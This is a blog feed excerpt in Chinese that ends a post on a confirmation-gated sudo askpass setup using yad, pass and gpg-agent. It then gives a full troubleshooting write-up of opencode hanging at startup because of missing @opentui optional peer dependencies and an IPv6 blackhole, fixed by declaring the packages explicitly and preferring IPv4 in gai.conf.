&lt;li&gt;&lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 依赖客户端先发 &lt;code&gt;OPTION ttyname=...&lt;&#x2F;code&gt;，而这个值来自 &lt;code&gt;GPG_TTY&lt;&#x2F;code&gt; 环境变量。没导出 &lt;code&gt;GPG_TTY&lt;&#x2F;code&gt;，startup_tty 永远是空，但 &lt;code&gt;gpg-connect-agent&lt;&#x2F;code&gt; 照样返回 OK，&lt;strong&gt;静默失败&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;gpg 路径（&lt;code&gt;pass&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;gpg&lt;&#x2F;code&gt;）每次连接都会自带 ttyname，所以 pinentry 正常弹窗；&lt;strong&gt;ssh 路径（&lt;code&gt;ssh-add&lt;&#x2F;code&gt;）走 SSH 协议，不带任何 tty 信息&lt;&#x2F;strong&gt;，只能靠 gpg-agent 的全局 startup_tty。startup_tty 为空 → gpg-agent（systemd 守护进程，无控制终端）拉起 pinentry-curses 时无处画界面 → 报 &lt;code&gt;Inappropriate ioctl for device&lt;&#x2F;code&gt; → 拒绝操作。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;正确写法&lt;&#x2F;strong&gt;（顺序不能反）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
export GPG_TTY=&amp;quot;$(tty)&amp;quot;                                  # 必须先导出
gpg-connect-agent updatestartuptty &amp;#x2F;bye &amp;gt;&amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;排查定位&lt;&#x2F;strong&gt;：怀疑 pinentry 时开 gpg-agent debug 日志复现，抓 &lt;code&gt;gpg-agent&lt;&#x2F;code&gt; 日志里的 &lt;code&gt;error calling pinentry: 对设备不适当的 ioctl 操作 &amp;lt;Pinentry&amp;gt;&lt;&#x2F;code&gt;，即可确认是 tty 没传到位，而非 pinentry 本身的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cuo-wu-2-ba-liang-ci-pinentry-ti-shi-dang-cheng-qia-zhu&quot;&gt;错误 2：把两次 pinentry 提示当成&quot;卡住&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;ssh-add&lt;&#x2F;code&gt; 导入有口令密钥会弹&lt;strong&gt;两次&lt;&#x2F;strong&gt; pinentry：第一次是 ssh-add 读原密钥文件的原口令，第二次是 gpg-agent 为 &lt;code&gt;private-keys-v1.d&#x2F;&lt;&#x2F;code&gt; 副本&lt;strong&gt;新设保护口令&lt;&#x2F;strong&gt;（提示语&quot;请输入一个密码，以便于在 gpg-agent 的密钥存储中保护接收到的私钥&quot;）。第二次只在无 tty 时才是故障；正常有 tty 时会出现密码 + 重复确认两个输入框，输完即成功。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;更多原理：为什么经典 ssh-agent 从不错位弹窗、gpg-agent 会，以及多终端弹窗错位问题，见 &lt;code&gt;notes&#x2F;2025-07-18-gpg.md&lt;&#x2F;code&gt; 的&quot;与经典 ssh-agent 的差异&quot;一节。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;an-quan-bian-jie&quot;&gt;安全边界&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;人工闸门在 yad 对话框&lt;&#x2F;strong&gt;:agent 无法静默执行 sudo,必须用户按回车。这是整套方案的核心价值。&lt;&#x2F;li&gt;
&lt;li&gt;pass 密文、GPG 私钥本地加密,&lt;code&gt;~&#x2F;.password-store&#x2F;&lt;&#x2F;code&gt; 与 &lt;code&gt;~&#x2F;.gnupg&#x2F;&lt;&#x2F;code&gt; 默认权限即可。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;不要用 &lt;code&gt;pam_ssh_agent_auth&lt;&#x2F;code&gt; 这类免密 sudo&lt;&#x2F;strong&gt;:SSH agent 转发下,远程 agent 能拿到 agent socket,等于无声无息获得 root,确认闸门形同虚设。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo -A&lt;&#x2F;code&gt; + askpass 是标准机制,askpass 程序 = 确认对话框 + 密码来源&lt;&#x2F;li&gt;
&lt;li&gt;免费方案:yad(GTK3)确认 + pass(gpg 公钥加密)存密码 + gpg-agent 内存缓存私钥&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;别用 zenity(GTK4)&lt;&#x2F;strong&gt;:本机 waypipe&#x2F;转发显示环境下窗口创建失败(不建 xdg_surface、X11 下卡 1x1),弹不出对话框且进程挂死;用 yad(GTK3)替代&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ssh-askpass-gnome&lt;&#x2F;code&gt; 留作备选:无 GPG 密钥时在桌面环境弹密码框兜底&lt;&#x2F;li&gt;
&lt;li&gt;三个实测结论:askpass 无 tty 只能用 X 弹窗;SSH X11 转发可用;无 TPM 时 systemd-creds 不可用&lt;&#x2F;li&gt;
&lt;li&gt;用 &lt;code&gt;sudo -A -k&lt;&#x2F;code&gt; 而不是改 &lt;code&gt;timestamp_timeout=0&lt;&#x2F;code&gt;:&lt;code&gt;-k&lt;&#x2F;code&gt; 只对 agent 的命令强制弹窗、不写回缓存,手动 sudo 的缓存不受影响&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode 在服务器上启动卡死：IPv6 不通与 @opentui 依赖缺失</title>
        <published>2026-08-03T18:39:12+08:00</published>
        <updated>2026-08-03T18:39:12+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/opencode-ipv6-and-opentui-startup-hang/"/>
        <id>https://vercel.juzhong.asia/2026/08/opencode-ipv6-and-opentui-startup-hang/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/opencode-ipv6-and-opentui-startup-hang/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;在一台服务器上启动 opencode，无论 &lt;code&gt;serve&lt;&#x2F;code&gt; 还是 &lt;code&gt;run&lt;&#x2F;code&gt; 模式都会卡死，没有任何报错：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd ~&amp;#x2F;project&amp;#x2F;debug-agent&amp;#x2F; &amp;amp;&amp;amp; \
OPENCODE_CONFIG_DIR=$PWD&amp;#x2F;.global-opencode \
OPENCODE_DISABLE_MODELS_FETCH=1 \
WFUZZ_PRODUCT=code \
&amp;quot;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;wfuzz-agent&amp;#x2F;bin&amp;#x2F;opencode&amp;quot; --print-logs --log-level=DEBUG run hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;日志停在某一行后就没有下文，进程一直存活，只能靠 &lt;code&gt;timeout&lt;&#x2F;code&gt; 杀掉（exit 124）。同样的命令在本机（IPv6 正常）跑得好好的，换到服务器就卡。&lt;&#x2F;p&gt;
&lt;p&gt;排查后确认这是&lt;strong&gt;两个独立的问题&lt;&#x2F;strong&gt;叠加：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;插件加载阶段&lt;&#x2F;strong&gt;：opencode 内置的 Bun 运行时解析 TS 插件时，因 &lt;code&gt;@opentui&#x2F;*&lt;&#x2F;code&gt; 依赖缺失而联网 npm registry，IPv6 不通导致连接挂死。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;模型请求阶段&lt;&#x2F;strong&gt;：即使跳过插件加载，opencode 请求模型 API 时默认优先尝试 IPv6，而服务器没有真实的 IPv6 连通性。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;两个问题的共同放大器，是这台服务器的网络特殊性：&lt;strong&gt;有 IPv6 地址，但没有 IPv6 路由&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;bei-jing-opencode-de-pei-zhi-ti-xi&quot;&gt;背景：opencode 的配置体系&lt;&#x2F;h1&gt;
&lt;p&gt;先理解 opencode 启动时会读哪些配置，这决定了排查方向。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-jia-zai-you-xian-ji&quot;&gt;配置加载优先级&lt;&#x2F;h2&gt;
&lt;p&gt;opencode 按以下顺序加载配置（后面的覆盖前面的同名字段）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;配置位置&lt;&#x2F;th&gt;&lt;th&gt;路径&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;全局配置&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;opencode.json[c]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户级默认配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;自定义目录&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt; 指向的目录（如 &lt;code&gt;.global-opencode&#x2F;&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;平台注入的独立配置目录&lt;&#x2F;strong&gt;，拥有独立 plugins&#x2F;skills&#x2F;node_modules&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;项目配置&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;项目根&#x2F;.opencode&#x2F;opencode.json[c]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;项目级配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用户目录&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.opencode&#x2F;opencode.json[c]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户级补充&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：&lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt; 指向的目录会被&lt;strong&gt;完整地&lt;&#x2F;strong&gt;当作一个 opencode 配置目录来扫描（&lt;code&gt;opencode.jsonc&lt;&#x2F;code&gt;、&lt;code&gt;plugins&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;skills&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;node_modules&#x2F;&lt;&#x2F;code&gt; 等），而不是只读其中的配置文件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;global-opencode-yun-xing-shi-sheng-cheng-de-du-li-pei-zhi-mu-lu&quot;&gt;&lt;code&gt;.global-opencode&#x2F;&lt;&#x2F;code&gt;：运行时生成的独立配置目录&lt;&#x2F;h2&gt;
&lt;p&gt;由 wfuzz-agent（或其他引导程序）在启动前把打包好的配置模板复制到工作目录下生成，包含：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.global-opencode&amp;#x2F;
├── opencode.jsonc      # 模型&amp;#x2F;provider&amp;#x2F;permission 配置
├── plugins&amp;#x2F;            # TS 插件源码（wfuzz-agent.ts + 本地库）
├── node_modules&amp;#x2F;       # 预装的 @opencode-ai&amp;#x2F;plugin 及依赖（避免运行时 npm install）
├── skills&amp;#x2F;             # 平台技能目录
├── AGENTS.md           # 全局指令
├── tsconfig.json       # 插件类型检查配置
└── package.json        # 声明 @opencode-ai&amp;#x2F;plugin 依赖
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;opencode-xiang-mu-ji-pei-zhi&quot;&gt;&lt;code&gt;.opencode&#x2F;&lt;&#x2F;code&gt;：项目级配置&lt;&#x2F;h2&gt;
&lt;p&gt;与 &lt;code&gt;.global-opencode&lt;&#x2F;code&gt; 不同，&lt;code&gt;.opencode&#x2F;&lt;&#x2F;code&gt; 是 opencode 标准的项目级配置目录，通常包含：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.opencode&amp;#x2F;
├── opencode.json       # 项目级模型&amp;#x2F;skills 路径配置
├── skills&amp;#x2F;             # 项目级技能
└── node_modules&amp;#x2F;       # 同步来的依赖（供插件解析）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;影响启动的关键差异&lt;&#x2F;strong&gt;：&lt;code&gt;.global-opencode&lt;&#x2F;code&gt; 中的 &lt;code&gt;opencode.jsonc&lt;&#x2F;code&gt; 定义了 provider（决定模型请求发往哪个 baseURL）和默认模型；&lt;code&gt;plugins&#x2F;&lt;&#x2F;code&gt; 决定是否有插件要加载；&lt;code&gt;node_modules&lt;&#x2F;code&gt; 决定插件依赖是否能离线解析。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;gen-yin-yi-opentui-yi-lai-que-shi-bun-jia-zai-cha-jian-shi-lian-wang&quot;&gt;根因一：&lt;code&gt;@opentui&lt;&#x2F;code&gt; 依赖缺失，Bun 加载插件时联网&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang-ding-wei&quot;&gt;现象定位&lt;&#x2F;h2&gt;
&lt;p&gt;对比实验快速锁定问题在插件加载：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;opencode run --pure hello&lt;&#x2F;code&gt;（跳过外部插件）→ 能跑起来&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;opencode run hello&lt;&#x2F;code&gt;（加载 &lt;code&gt;.global-opencode&#x2F;plugins&#x2F;wfuzz-agent.ts&lt;&#x2F;code&gt;）→ 卡死&lt;&#x2F;li&gt;
&lt;li&gt;临时移走 &lt;code&gt;plugins&#x2F;&lt;&#x2F;code&gt; 目录 → 能跑起来&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;插件文件本身是纯 TypeScript（&lt;code&gt;import type&lt;&#x2F;code&gt; + &lt;code&gt;node:fs&lt;&#x2F;code&gt; 等），没有明显的联网代码，为什么加载会联网？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-optional-peer-dependencies-que-shi&quot;&gt;根因：optional peer dependencies 缺失&lt;&#x2F;h2&gt;
&lt;p&gt;opencode 底层是 &lt;strong&gt;Bun&lt;&#x2F;strong&gt; 运行时。加载 &lt;code&gt;.ts&lt;&#x2F;code&gt; 插件时，Bun 解析 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; 的&lt;strong&gt;整个模块图&lt;&#x2F;strong&gt;，包括 &lt;code&gt;dist&#x2F;tui.js&lt;&#x2F;code&gt; 中对 &lt;code&gt;@opentui&#x2F;*&lt;&#x2F;code&gt; 的运行时导入：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&amp;#x2F;&amp;#x2F; node_modules&amp;#x2F;@opencode-ai&amp;#x2F;plugin&amp;#x2F;dist&amp;#x2F;tui.js
import { createBindingLookup } from &amp;quot;@opentui&amp;#x2F;keymap&amp;#x2F;extras&amp;quot;
export { stringifyKeySequence } from &amp;quot;@opentui&amp;#x2F;keymap&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;@opentui&#x2F;core&lt;&#x2F;code&gt;、&lt;code&gt;@opentui&#x2F;keymap&lt;&#x2F;code&gt;、&lt;code&gt;@opentui&#x2F;solid&lt;&#x2F;code&gt; 在 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; 的 &lt;code&gt;package.json&lt;&#x2F;code&gt; 里是 &lt;strong&gt;optional peer dependencies&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;quot;peerDependencies&amp;quot;: {
  &amp;quot;@opentui&amp;#x2F;core&amp;quot;: &amp;quot;&amp;gt;=0.3.4&amp;quot;,
  &amp;quot;@opentui&amp;#x2F;keymap&amp;quot;: &amp;quot;&amp;gt;=0.3.4&amp;quot;,
  &amp;quot;@opentui&amp;#x2F;solid&amp;quot;: &amp;quot;&amp;gt;=0.3.4&amp;quot;
},
&amp;quot;peerDependenciesMeta&amp;quot;: {
  &amp;quot;@opentui&amp;#x2F;core&amp;quot;: { &amp;quot;optional&amp;quot;: true },
  ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;npm install --omit=dev --legacy-peer-deps&lt;&#x2F;code&gt; &lt;strong&gt;不会安装 optional peer dependencies&lt;&#x2F;strong&gt;，所以预装的 &lt;code&gt;node_modules&lt;&#x2F;code&gt; 里缺了这三个包。Bun 解析模块图时发现缺失，就去 npm registry 拉取——在 IPv6 不通的服务器上，这一步永远完不成。&lt;&#x2F;p&gt;
&lt;p&gt;strace 铁证：进程反复尝试连接 npm registry 的 IPv6 地址，&lt;code&gt;connect()&lt;&#x2F;code&gt; 返回 &lt;code&gt;EINPROGRESS&lt;&#x2F;code&gt; 后永不完成：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;connect(..., &amp;quot;2606:4700::6810:622&amp;quot;, 443) = EINPROGRESS   ← 永不完成
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiu-fu-ba-optional-peer-yi-lai-bian-cheng-xian-shi-yi-lai&quot;&gt;修复：把 optional peer 依赖变成显式依赖&lt;&#x2F;h2&gt;
&lt;p&gt;在打包 &lt;code&gt;node_modules&lt;&#x2F;code&gt; 的 &lt;code&gt;package.json&lt;&#x2F;code&gt; 里显式声明这三个包，让它们进入预装依赖：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;quot;dependencies&amp;quot;: {
  &amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;: &amp;quot;1.17.12&amp;quot;,
  &amp;quot;@opentui&amp;#x2F;core&amp;quot;: &amp;quot;0.3.4&amp;quot;,
  &amp;quot;@opentui&amp;#x2F;keymap&amp;quot;: &amp;quot;0.3.4&amp;quot;,
  &amp;quot;@opentui&amp;#x2F;solid&amp;quot;: &amp;quot;0.3.4&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;code&gt;npm install --omit=dev --legacy-peer-deps&lt;&#x2F;code&gt; 后 &lt;code&gt;node_modules&#x2F;@opentui&#x2F;&lt;&#x2F;code&gt; 存在，peer 要求（&lt;code&gt;&amp;gt;=0.3.4&lt;&#x2F;code&gt;）被满足；在&lt;strong&gt;无缓存&lt;&#x2F;strong&gt;环境下 &lt;code&gt;bun -e &quot;await import(&#x27;@opencode-ai&#x2F;plugin&#x2F;tui&#x27;)&quot;&lt;&#x2F;code&gt; 从报错 &lt;code&gt;Cannot find module &#x27;@opentui&#x2F;keymap&#x2F;extras&#x27;&lt;&#x2F;code&gt; 变为成功，且全程零网络连接。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;gen-yin-er-dns-mo-ren-ipv6-you-xian-mo-xing-qing-qiu-lian-jie-gua-qi&quot;&gt;根因二：DNS 默认 IPv6 优先，模型请求连接挂起&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang-ding-wei-1&quot;&gt;现象定位&lt;&#x2F;h2&gt;
&lt;p&gt;修好 &lt;code&gt;@opentui&lt;&#x2F;code&gt; 后，插件能加载了，但 &lt;code&gt;run hello&lt;&#x2F;code&gt; 仍然卡住。日志停在：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;stream providerID=opencode modelID=...  ← 模型请求发出后无响应
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这次不是插件问题。&lt;code&gt;OPENCODE_DISABLE_MODELS_FETCH=1&lt;&#x2F;code&gt; 只禁用了 models.dev 元数据获取，但&lt;strong&gt;模型 API 请求&lt;&#x2F;strong&gt;（&lt;code&gt;opencode.jsonc&lt;&#x2F;code&gt; 中 provider 的 &lt;code&gt;baseURL: https:&#x2F;&#x2F;opencode.ai&#x2F;zen&#x2F;v1&lt;&#x2F;code&gt;）仍会发起网络请求。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-etc-gai-conf-mo-ren-ipv6-you-xian&quot;&gt;根因：&lt;code&gt;&#x2F;etc&#x2F;gai.conf&lt;&#x2F;code&gt; 默认 IPv6 优先&lt;&#x2F;h2&gt;
&lt;p&gt;用 curl 验证连通性：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -6 -s -o &amp;#x2F;dev&amp;#x2F;null -w &amp;quot;%{http_code}&amp;quot; https:&amp;#x2F;&amp;#x2F;opencode.ai&amp;#x2F;zen&amp;#x2F;v1   # 超时（exit 124）
curl -4 -s -o &amp;#x2F;dev&amp;#x2F;null -w &amp;quot;%{http_code}&amp;quot; https:&amp;#x2F;&amp;#x2F;opencode.ai&amp;#x2F;zen&amp;#x2F;v1   # 正常返回
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;重要：本机和服务器处于同一个 IPv6 黑洞网络&lt;&#x2F;strong&gt;（同一网关 &lt;code&gt;fe80::c0b1:65ff:fe3e:68c3&lt;&#x2F;code&gt;）。&lt;code&gt;ip -6 addr&lt;&#x2F;code&gt; 可见一堆 &lt;code&gt;3000::&#x2F;64&lt;&#x2F;code&gt; 的全局地址，&lt;code&gt;ip -6 route&lt;&#x2F;code&gt; 也有 &lt;code&gt;default via ...&lt;&#x2F;code&gt; 路由，但&lt;strong&gt;所有 IPv6 出站连接都挂在半路上&lt;&#x2F;strong&gt;——本机 &lt;code&gt;curl -6&lt;&#x2F;code&gt; 同样超时，并非&quot;服务器 IPv6 不通、本机正常&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;而 Linux 的 &lt;code&gt;getaddrinfo()&lt;&#x2F;code&gt; 默认按 &lt;code&gt;&#x2F;etc&#x2F;gai.conf&lt;&#x2F;code&gt; 的优先级表排序解析结果，&lt;strong&gt;IPv6 优先级高于 IPv4&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# &amp;#x2F;etc&amp;#x2F;gai.conf 默认（注释状态）
precedence ::1&amp;#x2F;128       50   ← IPv6 loopback
precedence ::&amp;#x2F;0          40   ← 所有 IPv6，优先级 40
precedence ::ffff:0:0&amp;#x2F;96  10   ← IPv4，优先级 10（值越大越优先）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Bun&#x2F;opencode 按 &lt;code&gt;getaddrinfo&lt;&#x2F;code&gt; 排序后的地址顺序连接：先试 IPv6 → 挂死 → 整个请求超时（默认超时很长），表现为&quot;卡住&quot;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ban-ben-dui-zhao-shi-yan-1-17-12-yu-1-18-9-mei-you-chai-yi&quot;&gt;版本对照实验：1.17.12 与 1.18.9 没有差异&lt;&#x2F;h2&gt;
&lt;p&gt;排查中一度怀疑&quot;新版 opencode（1.18.9）内置了 IPv6→IPv4 回退，旧版（1.17.12）没有&quot;。用完全相同的配置（显式 &lt;code&gt;opencode&lt;&#x2F;code&gt; provider + &lt;code&gt;opencode.ai&lt;&#x2F;code&gt; baseURL）在同一台机器交替测试，结论是&lt;strong&gt;没有版本差异&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;测试批次&lt;&#x2F;th&gt;&lt;th&gt;1.18.9&lt;&#x2F;th&gt;&lt;th&gt;1.17.12&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;批次 A（20s 超时）&lt;&#x2F;td&gt;&lt;td&gt;卡死 3&#x2F;3&lt;&#x2F;td&gt;&lt;td&gt;卡死 3&#x2F;3&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;批次 B（60s 超时）&lt;&#x2F;td&gt;&lt;td&gt;✅ 6.2s 完成&lt;&#x2F;td&gt;&lt;td&gt;✅ 4.8s 完成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;批次 C（40s 超时）&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;卡死 2&#x2F;2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;两个版本总是&lt;strong&gt;成对成功或成对失败&lt;&#x2F;strong&gt;——行为完全一致，由网络状态决定，与版本无关。&lt;&#x2F;p&gt;
&lt;p&gt;真实原因是 &lt;strong&gt;IPv6 黑洞状态分钟级波动&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;挂起时段&lt;&#x2F;strong&gt;：IPv6 SYN 发出后无任何响应（黑洞丢弃），opencode 连接挂起 40s+ 无快速回退 → 表现为卡死&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;快速失败时段&lt;&#x2F;strong&gt;：网关偶发回 ICMP unreachable，opencode 秒级回退 IPv4 → 4~6 秒正常完成&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这也解释了最初&quot;本机正常、服务器卡&quot;的观察：本机测试恰好赶上快速失败时段（或默认模型走无 AAAA 记录的 deepseek 域名，压根不触发 IPv6）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu-rang-ipv4-you-xian&quot;&gt;修复：让 IPv4 优先&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo sed -i &amp;#x27;s&amp;#x2F;^#precedence ::ffff:0:0\&amp;#x2F;96  10&amp;#x2F;precedence ::ffff:0:0\&amp;#x2F;96  100&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;gai.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把 IPv4 的优先级从 10 改成 100（取消注释即生效），&lt;code&gt;getaddrinfo&lt;&#x2F;code&gt; 就会把 IPv4 排在前面：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;precedence ::ffff:0:0&amp;#x2F;96  100   ← IPv4 现在最高优先
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;getent ahosts opencode.ai   # 172.65.90.x（IPv4）排在最前
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;xiu-fu-hou-de-wan-zheng-yan-zheng&quot;&gt;修复后的完整验证&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-cha-jian-jia-zai-mo-xing-hui-fu-zheng-chang&quot;&gt;1. 插件加载 + 模型回复正常&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd ~&amp;#x2F;project&amp;#x2F;debug-agent&amp;#x2F; &amp;amp;&amp;amp; \
OPENCODE_CONFIG_DIR=$PWD&amp;#x2F;.global-opencode \
OPENCODE_DISABLE_MODELS_FETCH=1 \
WFUZZ_PRODUCT=code \
&amp;quot;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;wfuzz-agent&amp;#x2F;bin&amp;#x2F;opencode&amp;quot; --print-logs --log-level=DEBUG run hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[wfuzz-agent] plugin loaded hooks.trigger=11 hooks.lifecycle=6
Hello! How can I help you today?
[wfuzz-agent] plugin disposed after 4.5s
EXIT: 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
